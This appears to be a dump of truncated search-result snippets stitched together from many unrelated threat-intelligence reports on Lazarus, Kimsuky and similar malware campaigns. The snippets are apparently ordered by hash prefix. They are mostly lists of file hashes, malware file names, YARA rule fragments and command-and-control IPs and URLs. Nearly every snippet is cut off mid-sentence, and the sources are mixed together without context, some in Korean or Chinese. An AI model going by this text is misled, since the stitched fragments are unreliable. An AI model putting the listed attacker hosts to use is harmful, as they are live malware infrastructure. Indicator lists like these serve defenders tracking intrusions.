d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34239a3607d8b5b8ddd6797855f2e827 38…","…b085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566204a92dd269312d1156d51e61dc4 1dc50bfcab2bc80587ac900c03e23afcbe243f64 003e21b02be3…","…37cec428257cd41153cf43d7f1a12652 3b9d40f3d620ec87960b4350d42ccc03 3e2110d233d4543830e14c78d53900f4 422a221851ea6ad15f53cd3aea51c8af 49bdbe7e6cbb88842afcce3a9fe60e9b 4d87fef16790cbe1df72007d99149665 5577fffb5b5acd3771ef9dc696498f1e…","…(GUI) Intel 80386, for MS Windows MD5 c01dc42f65acaf1c917c0cc29ba63adc SHA1 d288766fa268bc2534f85fd06a5d52264e646c47 SHA256 4257bb11570ed15b8a15aa3fc051a580eab5d09c2f9d79e4b264b752c8e584fc SHA512…","…Size 346624 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 42682d4a78fe5c2eda988185a344637d SHA1 4975de2be0a1f7202037f5a504d738fe512191b7 SHA256 4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761 SHA512…","…0211a3160cc5871cbcd4e5514449162b 0a09b7f2317b3d5f057180be6b6d0755 1ffccc23fef2964e9b1747098c19d956 3ec3c9e9a1ad0e6a6bd75d00d616936b 426bb55531e8e3055c942a1a035e46b9 URL…","…35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3 4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3 4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce…","…IOCs Hash e78be07019dfaf682c601985ac3ba424 108b5fd1b62489fd5cdb4ebd4a463226 42d24ccfb0a05c5f299181ca3afc7ae3 a6c26a0b5df0db6a35b15c24342f27f8 6e5198c3aae9005cc58d011a8c6f0bec 81bfe3b3204ede1fca418e44aa19b310…","…date = \"2020-12-15\" reference = \"https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf\" hash = \"42e4a9aeff3744bbbc0e82fd5b93eb9b078460d8f40e0b61b27b699882f521be\" strings : $s1 = \".?AVCEncryption@@\" fullword ascii $s2 = \"afrfa\" condition : uint16 ( 0 ) == 0x5a4d…","…SHA256 File Name Functionality 42e874d96cb9046cd4113d04c1c5463b1d43a4e828ca872de11c08cd314e650f alive.bat Install and establish persistence for core SYSCON backdoor component.…","…역할을 한다 . 최종적으로 메모리에서 실행되는 악성코드 ( md5: 6cec7de9d4797895775e2add9d6855ba ) 와 유사한 변형 이 2016 년 11 월에 발견되었다 ( md5: 42f216cc32cf2b14e6daea0816da8c50 ) . 2 017 년 2 월 에는 이력서 로 가장한 한글 문서에서 이 그룹의 새로운 백도어인 도그콜 ( Dogcall ) 이 발견되었 으 며 , 201 7 년 10 월 말과 11 월에는…","…d.ps1 (...68013.docx.lnk) 7 MD5 0d6f3ce0c314e611f4e933dd6c17f2e3 zzJG.zip 8 MD5 42f2dbc68c6a4844474c695bf8000420 zzG.zip 9 MD5 c0375790762356a5652719b97a7b5602 zzJG_2.zip 10 MD5…","…SHA-256 869705fd4dd777d4ab5c662806b42fe43bff6b58e085a64804486326b35fee47 42f306b905ece8875bdf16d276b8e4c1f70265918625da475e0f0ff0aa90f31c 7bed4de469d5f23f35f835d6bf1b7678b4ff6ccaefd9604e929abd448d6d43e1 SHA-1…","…Ministry of Foreign Affairs and its contents can be found online. The file contains the properties as seen in Table 2: MD5 42fbea771f3e0ff04ac0a1d09db2a45e SHA1 2b6b6f24f58072a02f03fa04deaccce04b6bb43b SHA256 9bf634ff0bc7c69ffceb75f9773c198944d907ba822c02c44c83e997b88eeabd File…","…00ced88950283d32300eb32a5018dada 088cb0d0628a82e896857de9013075f3 16c0e70e63fcb6e60d6595eacbd8eeba 26eaff22da15256f210762a817e6dec9 4301a75d1fcd9752bd3006e6520f7e73 URL…","…(GUI) Intel 80386, for MS Windows MD5 83833f8dbdd6ecf3a1212f5d1fc3d9dd SHA1 77a2272633eb64e4c16f8ea4466dba59ecc92292 SHA256 43193c4efa8689ff6de3fb18e30607bb941b43abb21e8cee0cfd664c6f4ad97c SHA512…","…Bisonal SHA256: 43459F5117BEE7B49F2CEE7CE934471E01FB2AA2856F230943460E14E19183A6 DFA1AD6083AA06B82EDFA672925BB78C16D4E8CB2510CBE18EA1CF598E7F2722 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 359835…","…Based on PondRAT’s user-agent, we also noticed that PondRAT was used in an AppleJeus campaign Volexity wrote about 19 (MSI file with hash 435c7b4fd5e1eaafcb5826a7e7c16a83 ).…","…Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE> MD5 4a43bafb4af0a038a7f430417bcc1b6e SHA1 438243575764a5e856951126674f72f20b2a0d6f SHA256 a0c461c94ba9f1573c7253666d218b3343d24bfa5d8ef270ee9bc74b7856e492 SHA512…","…A.4 is the durable alternative” condition: filesize < 2MB and ( hash.sha256(0, filesize) == “43898a0a53bbd25d31ad9f5018ed3182be98a66109b22c9cab545a9fc447992a” or hash.sha256(0, filesize) == “7bc41ed79a9ae909927a9e40701736460a8cb70fca16ce1510e58677aca764b6” ) } rule…","…Hash-SHA256 3ecc7b1ee872b45b534c9132c72d3523d2a1576ffd5763fd3c23afa79cf1f5f9 Hash-SHA256 43d1ef55c9d33472a5532de5bbe814fefa5205297653201c30fdc91b8f21a0ed Hash-SHA256 49fa2e0131340da29c564d25779c0cafb550da549fae65880a6b22d45ea2067f Hash-SHA256…","…safari_updater Bash loader, RL: MacOS.Trojan.Generic 62e988e9affcd000657bef4db47eb2e85c9a4cc42f4832780a02e19624e36e38 4402e44c0bc959ac22340041413de2482e8b5d53 be60c52ca8a01fef7dc15c2f0ebb77d8 Zscaler-published font containers not present in RL (MD5): 116f7189ed7b41f1b339a749d56e63be,…","…Filename: C:\\Windows\\beauty.jpg File type: JPEG image data, JFIF standard 1.02 #2 SHA256: 44150350727e2a42f66d50015e98de462d362af8a9ae33d1f5124f1703179ab9 Hilename: C:\\Windows\\svchost.exe File type: PE32 executable (GUI) Intel 80386, for MS Windows CC phpschboy.prohosts.org…","…55 fd9099005f133f95a5b699ab30a2f79b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1…","…4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3 4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce 48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291…","…IoC [md5] 17b2412c1c74db7e83482a544fefacdc 1.log 5852e7911d0df2473d6ed34d1ce56ff7 1.ps1 444f67d186136d3deaae17a7f27b879e 1.vbs 4aea7f8a80c27268bd68077621d69b68 2.log acdf153ab1211ebc840a18d2ff2221fb 941a.vbs 5441d8a79411a261546beb1021cb5052…","…IoC md5 17b2412c1c74db7e83482a544fefacdc 1.log 5852e7911d0df2473d6ed34d1ce56ff7 1.ps1 444f67d186136d3deaae17a7f27b879e 1.vbs 4aea7f8a80c27268bd68077621d69b68 2.log acdf153ab1211ebc840a18d2ff2221fb 941a.vbs 5441d8a79411a261546beb1021cb5052…","…3f 61f4946837d7cd1701eedb3c372121c6 1da701990560b8b0db2c4441145a3ee3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c14a66e1a039d2e51cb70adb609df872 7504a626993179e5819246234ca6c4c9…","…-- TSMSISrv.dll (Lazarus Loader) Type Value SHA-256 aeebcd8c8b15645d7e71b68ac05e21e9a4c94f832c64044725d870b87b9573c7 MD5 447557d5236f1b97be0314b317ca9fff SHA-1 28978e987bc59e75ca22562924eab93355cf679e Imphash 655221b6bcad7b5b0b9766142cbc257a Rich Hash 3be2401da21dfed104c9aa52bb620344…","…-- TSMSISrv.dll (Lazarus Loader) Hash Type Value SHA-256 aeebcd8c8b15645d7e71b68ac05e21e9a4c94f832c64044725d870b87b9573c7 MD5 447557d5236f1b97be0314b317ca9fff SHA-1 28978e987bc59e75ca22562924eab93355cf679e Imphash 655221b6bcad7b5b0b9766142cbc257a Rich Hash 3be2401da21dfed104c9aa52bb620344…","…TTPs #9: 개인의 일상을 감시하는 공격전략 분석 -KrCert/CC TTPs $ ScarCruft Tracking Note – KrCert/CC 한글 파일에 숨어든 ‘고스트’ – ASEC 분석팀 MD5 4488c709970833b5043c0b0ea2ec9fa9 7bab405fbc6af65680443ae95c30595d 7f5a72be826ea2fe5f11a16da0178e54 8b666fc04af6de45c804d973583c76e0 9083c1ff01ad8fabbcd8af1b63b77e66…","…(GUI) Intel 80386, for MS Windows MD5 4e595db3b612e1e9da90a0ef7d740792 SHA1 1483720917e754d05818e64ae07b320ffbdf4d78 SHA256 44a93ea6e6796530bb3cf99555dfb3b1092ed8fb4336bb198ca15b2a21d32980 SHA512…","…SHA1 84c2e2d5d61ed9148a0057e951fdea641901874d 41bff8875d1f83b3af52b65cb7ce8ebca0e30bfd 44b072d3948f06cdc0be573aa62ce3ca0b80da1e 76ed57d6451f634255c664a89f7a64a062923c05 08620755dabc0983eaf1320ac4c71d90b56ff1bb 7bb3e2671b8ad6e2e1ffb9e8b022dfd677fdd31a aabaea027236…","…samples I identified in the study were as follows: Filename 전례 없는 강공 도발 설문지 .doc MD5 44b3f46a370faf94cc51386b4ccaab83 SHA1 5de4215ba91bd52ae7371a049c23c8239302f3a5 SHA256…","…e3 71dbebb8a31ea3de0115851bb15fd2bc 74e3d84492845067a0da6cfa00c064eb 445e7fd6bb684420d6b8523fe0c55228 fe5520783f715549cc3c4df9deaf89bf 44ba46dfff78bc62a3b2619d308ca40c c14a66e1a039d2e51cb70adb609df872 7504a626993179e5819246234ca6c4c9 PDB D:\\Sources\\MainWork\\Group2017\\Sample\\Release\\DogCall.pdb URL…","…정보 파일명 5170101-17 년 _ 북한 _ 신년사 _ 분석 .hwp 경로 e: \\ Happy \\ Work \\ Source \\ version 12 \\ T+M \\ Result \\ DocPrint.pdb MD5 44bdeb6c0af7c36a08c64e31ceadc63c [ 표 11] ‘ 5170101-17 년 _ 북한 ~ .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 봄호원고 _ 안찬일박사님 .hwp 경로…","…12] 공격자가 사용한 관리 프로그램 2. Pad-1 사용자 제작 악성코드 ( 2016 년 ) 2017 년 유포된 북한 신년사 관련 내용으로 위장한 문서 ( md5: 44bdeb6c0af7c36a08c64e31ceadc63c ) 의 내부 를 살펴본 바에 따르면 파일을 첨부한 사용자 이름 이 pad-2 이다 . 그런데 , 사용자 이름이 p ad-1 인 시스템 에 서 제작한 악성코드 가 2016 년…","…Struggle Cases ⚫ 39b40d925c5f28a481e30c2d38feca4f ⚫ 44d4022f67e2ab9f731cb0df9adc36c0 ⚫ 7f4a8f1eb120f168ab39dfb81256e7b1 ⚫ 80000db11057dc4709050205b2290321 ⚫ b7c1528311f62bd499ec396a29f684c7 ⚫…","…2b35ef3080dcc13e2d907f681443f3fc3eda832ae66b0458ca5c97050f849306 4108c5096a62c0a6664eed781c39bb042eb0adf166fcc5d64d7c89139d525d4f 44e492d5b9c48c1df7ef5e0fe9a732f271234219d8377cf909a431a386759555 4599a9421e83fb0e2c005e5d9ac171305192beabe965f3385accaf2647be3e8e 58fdc1b6ce4744d6331f8e2efc4652d754e803cae4cc16101fc78438184995e6…","…prtspool Size 57376 bytes Type Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE> MD5 451c23709ecd5a8461ad060f6346930c SHA1 58b0516d28bd7218b1908fb266b8fe7582e22a5f SHA256 5e40d106977017b1ed235419b1e59ff090e1f43ac57da1bb5d80d66ae53b1df8 SHA512…","…md5 = \"451c23709ecd5a8461ad060f6346930c\" 01 02 03 04 05 rule XProtect_MACOS_c723519 { meta: description = \"MACOS.c723519\" strings: $s1 = { 5F 6D 5F 43 6F 6E 66 69 67 }…","…f9aad2149 c470bef115787abcc9a1d1df9213a072ab2b6daea5eaaa18a4378bca4d37f7df 8fb56f3d63e5dbc55695fe6e043707a933116ace43db4d3d67f42341a6540eef 4555744f4a328cddca885938f8fee83133be93c59be33a3e0b2906b536ee667c 85d3c1500e80b4782f3c1488adacfd14668ad99f3b4f01da3b0c4f31480745b4 2705441758889528e6cf333182799b2e51b458546e7706858e8789eaedb52562 50de7ddaf…","…SHA1 456987068ff42f8db6ff8e3af8b82e785b010c7f 3872ff7378ab6b155c9af26285f1a9ff9d496f76 f61032939e029de3dd03c223c8bcb384a9237f50 Remediation Block all threat indicators at your…","…9e94126e8a26efd10b2a5b179d64be90 35b4f28dd2d50dbf48e5c63c3ef5efb7 66e8096b9b061550314a82654ce0fabd 71d5270d1a165bb6dec144e16089450d 456d05566fc3391e195a5f9cb346c92c 25156a29ad636eb708104ec69b05e54b ca93591a9441a2ade70821f67292d982 C2 112.175.185.59 104.21.13.241 172.67.133.130 206.206.123.55…","…Filename: Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate.scr Dropped #1 SHA256: 4585584fe7e14838858b24c18a792b105d18f87d2711c060f09e62d89fc3085b Filename: adobe distillist.lnk #2 SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 Filename: winload.exe #3…","…v2 148c69a7a1e06dc06e52db5c3f5895de6adc3d79498bc3ccc2cbd8fdf28b2070 1ad43ddfce147c1ec71b37011d522c11999a974811fead11fee6761ceb920b10 458641936e2b41c425161a9b892d2aa08d1de2bc0db446f214b5f87a6a506432 8a4fbcdec5c08e6324e3142f8b8c41da5b8e714b9398c425c47189f17a51d07b 293b1a7e923be0f554ec44c87c0981c9b5cf0f20c3ad89d767f366afb0c1f24a…","…4108c5096a62c0a6664eed781c39bb042eb0adf166fcc5d64d7c89139d525d4f 44e492d5b9c48c1df7ef5e0fe9a732f271234219d8377cf909a431a386759555 4599a9421e83fb0e2c005e5d9ac171305192beabe965f3385accaf2647be3e8e 58fdc1b6ce4744d6331f8e2efc4652d754e803cae4cc16101fc78438184995e6 97ba8d30cf8393c39f61f7e63266914ecafd07bd49911370afb866399446f37d…","…Name CelasTradePro.exe Size 2517160 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 45eb8f06c5f732e8dde8e9318d8b2392 SHA1 d4583cba9034a3068f8106b5013d37d7bdd46f38 SHA256 a84ed8ce714dff76b48b26414de9f045de561146d7eaa09019cbfbb2586c9765 SHA512…","…99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2f88038d431bb190454fae02225e639 d0a8cd7584547bdb2959f0d1008e6871 b1…","…및 인터넷 브라우저 등의 프로그램들에 대한 최신 패치 및 V3를 최신 버전으로 업데이트하여 이러한 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL http://45.61.148.153/pizza.jsp IP 45.61.148.153…","…browsers and update V3 to the latest version to prevent malware infection in advance. MD5 3525a8a16ce8988885d435133b3e85d8 45ef2e621f4c530437e186914c7a9c62 6a58b52b184715583cda792b56a0a1ed b500a8ffd4907a1dfda985683f1de1df URL http://45.61.148.153/pizza.jsp IP 45.61.148.153…","…has a name of \"install.apk\". The purpose of install.apk is to cleanup umc.apk and install a third APK with a SHA256 hash of 4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416 and a name of \"object.apk\". Object.apk is the final malicious payload.…","…2e1b0ac49313873a0e0b982c591a5264 7dc50e8af0070e544bff5299405cd3b9 61f65bd593ea0e52ac0dfdc6bc9cd73a 461ade40b800ae80a40985594e1ac236 01022facb38cf60b052e65a682f4a127 3288c284561055044c489567fd630ac2 C2 drfeysal.com 185.21.14.249 157.180.88.26…","…[파일 진단] Dropper/LNK.Agent (2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8e5cac0159a31ea808973508ce164e1d aa8ba9a029fa98b868be66b7d46e927b URL…","…제품이 필요하다. [파일 진단] Dropper/LNK.Agent (2023.04.08.00) Downloader/BAT.Agent (2023.04.08.00) MD5 0f5eeb23d701a2b342fc15aa90d97ae0 461ce7d6c6062d1ae33895d1f44d98fb 657fd7317ccde5a0e0c182a626951a9f 8fef5eb77e0a9ef2f97591d4d150a363 aa8ba9a029fa98b868be66b7d46e927b URL…","…침해 지표 (Indicator of Compromise) ● MD5 914eb1b37d5679931fc9c2b5f3a2bbcd 0993cf18121be84f5b1511318df80f44 4638e7c17057fef4613af1f0f6821702 6793c3d6438553222f5e8ed2ee8c3ebf 7671fc2dce5d3f84f984f052adf35f9a a0d332a95e2f42a7f26dd452c63938a4 b58eb8a3797d3a52aba30d91d207b688 b896c2b…","…d3e599af47b110ab526ee38edaae68df3d8ab257e689e6f6f84d6db7d3ba5937 Scheduled Task Registration Script for VelvetCake (LICENCE) SHA256 467660ef31b8ec248ae434fdee0a68de5098bcfd08776a4004ccbdcd7904bd37 VelvetCake First Stage SHA256 c88165d943f59014d668818d99d9819e6d295d355c4e935ad7a2380bbe32ccc4 VelvetCake First Stage (okay.md)…","…(2022.04.12.01) 행위 진단 – Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL…","…Behavior Detection – Malware/MDP.Fraud.M800 MD5 094f9a757c6dbd6030bc6dae3f8feab3 33b2b5b7c830c34c688cf6ced287e5be 468c369893d6fc6614d24ea89e149e80 4bc571925a80d4ae4aab1e8900bf753c 5df3c3e1f423f1cce5bf75f067d1d05c URL…","…FAT rust cd8f41b91e8f1d8625e076f0a161e46e32c62bbf x86 rust Malicious PDFs SHA1 Name 469236d0054a270e117a2621f70f2a494e7fb823 DOJ Report on Bizlato Investigation.pdf 574bbb76ef147b95dfdf11069aaaa90df968e542 Readme.pdf 7e69cb4f9c37fad13de85e91b5a05a816d14f490…","…410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710 4607082448dd745af3261ebed97013060e58c1d3241d21ea050dcdf7794df416 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a 4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd…","…GoogIe LLC malware SHA256 41660a23e5db77597994e17f9f773d02976f767276faf3b5bac0510807a9a36f a malware SHA256 469fd8a280e89a6edd0d704d0be4c7e0e0d8d753e314e9ce205d7006b573865f netchk malware IP Address 23.254.247.53 Resolved IP for support.us05web-zoom.pro and gumi-cryptos.us05web-zoom.pro IP address…","…3C8DBFCBB4FCCBAF924F9A650A04CB4715F4A58D51EF49CC75BFCEF0AC258A3E 3EA2EAD8F3CEC030906DCBFFE3EFD5C5D77D5D375D4A54CCA03BFE8A6CB59940 46A5D54C264152CE915792AF31C75824A558AF7D7340D78B34E146D8C6249E79 479038EB12ED07893EE0DCC04FBDCF182489BBB271F5A4F90F83874881A80CE3 492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD…","…Name UnionCryptoTrader.exe Size 1286144 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 46b3061fe981d0a5edfd8d55f75adf9f SHA1 514263acf79aeb49d87192ae08f6c76854cdda12 SHA256 0967d2f122a797661c90bc4fc00d23b4a29f66129611b4aa76f62d8a15854d36 SHA512…","…Name Lost_File.so Size 108896 bytes Type 64-bit XCOFF executable or object module MD5 46b318bbb72ee68c9d9183d78e79fb5a SHA1 5375ad3746ce42a6f262f55c4f1f0d273fb69c54 SHA256 10ac312c8dd02e417dd24d53c99525c29d74dcbc84730351ad7a4e0a4b1a0eba SHA512…","…This repor t examines workflows for: MD5 Hash Classification Description 46b318bbb72ee68c9d9183d78e79fb5a AIX Type 1 A likely earlier version of the malware that contains IP whitelisting but no card blacklisting.…","…ee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f339a09f0d0202cfaffbd38469490ec 46ca088d5c052738d42bbd6231cc0ed5 C2 89.147.101.65 89.147.101.71 37.120.210.2…","…1177fecd07e3ad608c745c81225e4544 14caab369a364f4dd5f58a7bbca34da6 184a4f3f00ca40d10790270a20019bb4 30bcac6815ba2375bef3daf22ff28698 46cd19c3dac997bfa1a90028a28b5045 URL…","…Hash-MD5 db349b97c37d22f5ea1d1841e3c89eb4 Hash-MD5 f9992dfb56a9c6c20eb727e6a26b0172 Hash-MD5 46d140a0eb13582852b5f778bb20cf0e Hash-MD5 5bef35496fcbdbe841c82f4d1ab8b7c2 Hash-MD5 3c6375f586a49fc12a4de9328174f0c1 Hash-MD5…","…Watering Hole Attack Cases ⚫ 2ebf18038e0c81297915a734ba020ff6 ⚫ 3c9fd3716f87fb633af92b1fc93680a6 ⚫ 46dbd03cbdebea6375403955520461bf ⚫ 5295200468cbc4efc7e0b0673d05106d ⚫ f165034e338bab6b121f3ba9bc0374c9 ⚫ f1b9c9a6a5adbddb7eaf64786ed61fee ⚫…","…of Compromise) MD5 2f6fe22be1ed2a6ba42689747c9e18a0 5a223c70b65c4d74fea98ba39bf5d127 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 83…","…\"Simple indicator of observable {2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1}\", \"file\": {\"hash\": {\"md5\": [\"470275eaf344be97f9950c4c42a783ef\"], \"sha1\": [\"43f987c15ae67b1183c4c442dc3b784faf2df090\"], \"sha256\": [\"2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1\"]}},…","…or hash.sha256(“a8b0f9717bc16d48e55be95886500179ca4b7dad9610dd0865dbf8849901a791”) or hash.sha256(“474978a976de1c869385d37ae422b1718918bc8cc05353a4bebb2b75846ab74c”) or hash.sha256(“ee8e8471fbe1b7fc85508e549444893bdea7579c5032c2626abcb1356129787e”)…","…The malware files include: Filename Size MD5 %SYSTEM% \\ msv2_0.dll 78'848 bytes 474f08fb4a0b8c9e1b88349098de10b1 %WINDIR% \\ Help \\ msv2_0.chm 729'088 bytes 579e45a09dc2370c71515bd0870b2078 %WINDIR% \\ Help \\ msv2_0.hlp 3'696 bytes…","…http://iosk.org/pms/jin.zip – http://iosk.org/pms/jin-6.zip MD5 131fc4375971af391b459de33f81c253 1875f6a68f70bee316c8a6eda9ebf8de 47791bf9e017e3001ddc68a7351ca2d6 7a19c59c4373cadb4556f7e30ddd91ac 7ef97450e84211f9f35d45e1e6ae1481 URL…","…11ec319e9984a71d80df1302fe77332d 160f7d2307bbc0e8a1b6ac03b8715e4f 26ff72b0b85e764400724e442c164046 31cbc75319ea60f45eb114c2faad21f9 478dcb54e0a610a160a079656b9582de URL…","…libffmpeg.dy SHA256 hashes: a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 479038eb12ed07893ee0dcc04fbdcf182489bbb271f5a4f90f83874881a80ce3 2546d239a262c24a6f8ea01d890cbc459a22db79b379b6ec3b24fbb56efb5381 5009c7d1590c1f8c05827122172583ddf924c53b55a46826abf66da46725505a…","…3EA2EAD8F3CEC030906DCBFFE3EFD5C5D77D5D375D4A54CCA03BFE8A6CB59940 46A5D54C264152CE915792AF31C75824A558AF7D7340D78B34E146D8C6249E79 479038EB12ED07893EE0DCC04FBDCF182489BBB271F5A4F90F83874881A80CE3 492A643BD1EFDACA4CA125ADE1B606E7BBF00E995AC9115AC84D1C4C59CB66DD 5009C7D1590C1F8C05827122172583DDF924C53B55A46826ABF66DA46725505A…","…Size 157696 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 5182e7a2037717f2f9bbf6ba298c48fb SHA1 47b5d2c3f741a896a26993dbbf4a5deec6f9ac53 SHA256 c0ee19d7545f98fcd15725a3d9f0dbd0f35b2091e1c5b9cf4744f16e81a030c5 SHA512…","…방식으로 악성코드를 생성하고 있는 것으로 확인되어 사용자의 각별한 주의가 필요하다. 현재 V3에서는 해당 악성코드를 다음과 같은 진단명으로 진단하고 있다. [파일 진단] Trojan/Win.Kimsuky MD5 47ce2cf998e4af580b9d0acccf7d2207 b162316082b1bd74a250c70b206ff015 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…(2023.05.15.02) – Trojan/Win.LazarLoader.C5427613 (2023.05.15.03) MD5 228732b45ed1ca3cda2b2721f5f5667c 47d380dd587db977bf6458ec767fee3d 4d91cd34a9aae8f2d88e0f77e812cef7 e501bb6762c14baafadbde8b0c04bbd6 URL https://www.samdb.or.kr/info/pinfo.aspx…","…format we observed in RN Stealer, which we discuss in the following sections. Stage SHA256 Hash YAML Deserialization Payload 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f RN Loader 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79 RN Stealer…","…), this payload allows for arbitrary Python object deserialization, resulting in RCE. PyYAML Deserialization Payload (VT Hash: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f ) We recreated this malicious setup by hosting the YAML deserialization payload on a Python+Flask web application, using PythonAnywhere to…","…EtherRAT stage 2 (deobfuscated) File 47f74749cfcd55c8dacde2cc9b4c45282bec7a93ee19b7b81b452c99758d3370 EtherRAT stage 2 (obfuscated) File…","…(GUI) Intel 80386, for MS Windows MD5 eb6275a24d047e3be05c2b4e5f50703d SHA1 62faf15eddb64dce9a2b1ba242254271facffd9f SHA256 4838f85499e3c68415010d4f19e83e2c9e3f2302290138abe79c380754f97324 SHA512…","…部分IOC MD5 487769a19f032e981f33023b2cb7fe10 02685c2ffc30c55667076cfb01033060 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 7095811df4cb1ee4135ce605af7f163f 61f4946837d7cd1701eedb3c372121c6 1d…","…was linked by Mandiant to Stonefly. Keyloggers : The attackers deployed two distinct keyloggers in their attacks: The first (SHA256: 485465f38582377f9496a6c77262670a313d8c6e01fd29a5dbd919b9a40e68d5) was a keylogger capable of stealing data from the clipboard.…","…SystemManipulation/DETECT.T1140.M3178 – Execution/EDR.Regsvr32.M11168 – Suspicious/DETECT.T1060.M2939 MD5 486370be06493d78a9922b3a6e424909 7756b4230adfa16e18142d1dbe6934af 8b77608db042b225ae8f59276ee3a165 a0dd33b6b8c3ac9bee46a95586df345f URL http://peras1.n-e.kr/…","…autoprotect.com.de Appendix B: Malware hash value bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985 4867215129fead94a52e4b62ef6851b3170a0a8b66a87eadfc919f84257d25b8 f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb 31908e42d8cb30f5bda71516de7c5c6a329c7dddcae77e19f64379d351177b90 782f24…","…部分IOC MD5 487769a19f032e981f33023b2cb7fe10 02685c2ffc30c55667076cfb01033060 484bcb44845946e444f05295cf19e98e 72b3765580c8c8588feccf06f98c090b 5776368e1a8483d11f3ee1c383f193c4 70…","…Appendix C: Malware hash value 487c1bdb65634a794fa5e359c383c94945ce9f0806fcad46440e919ba0e6166e eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60 Email…","…Name CrashReporter.exe Size 609008 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 48971e0e71300c99bb585d328b08bc88 SHA1 ec8d7264953b5e9e416b7e8483954d9907278f2f SHA256 9bf8e8ac82b8f7c3707eb12e77f94cd0e06a972658610d136993235cbfa53641 SHA512…","…Tags: trojan macho Name: darwin64.bin Size: 6.44 MB (6757832 bytes) MD5: 8397ea747d2ab50da4f876a36d673272 SHA-1: 48a6d5141e25b6c63ad8da20b954b56afe589031 SHA-256: 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957 ssdeep:…","…hash = \"bff4d04caeaf8472283906765df34421d657bd631f5562c902e82a3a0177d114\" hash = \"48b8486979973656a15ca902b7bb973ee5cde9a59e2f3da53c86102d48d7dad8\" hash = 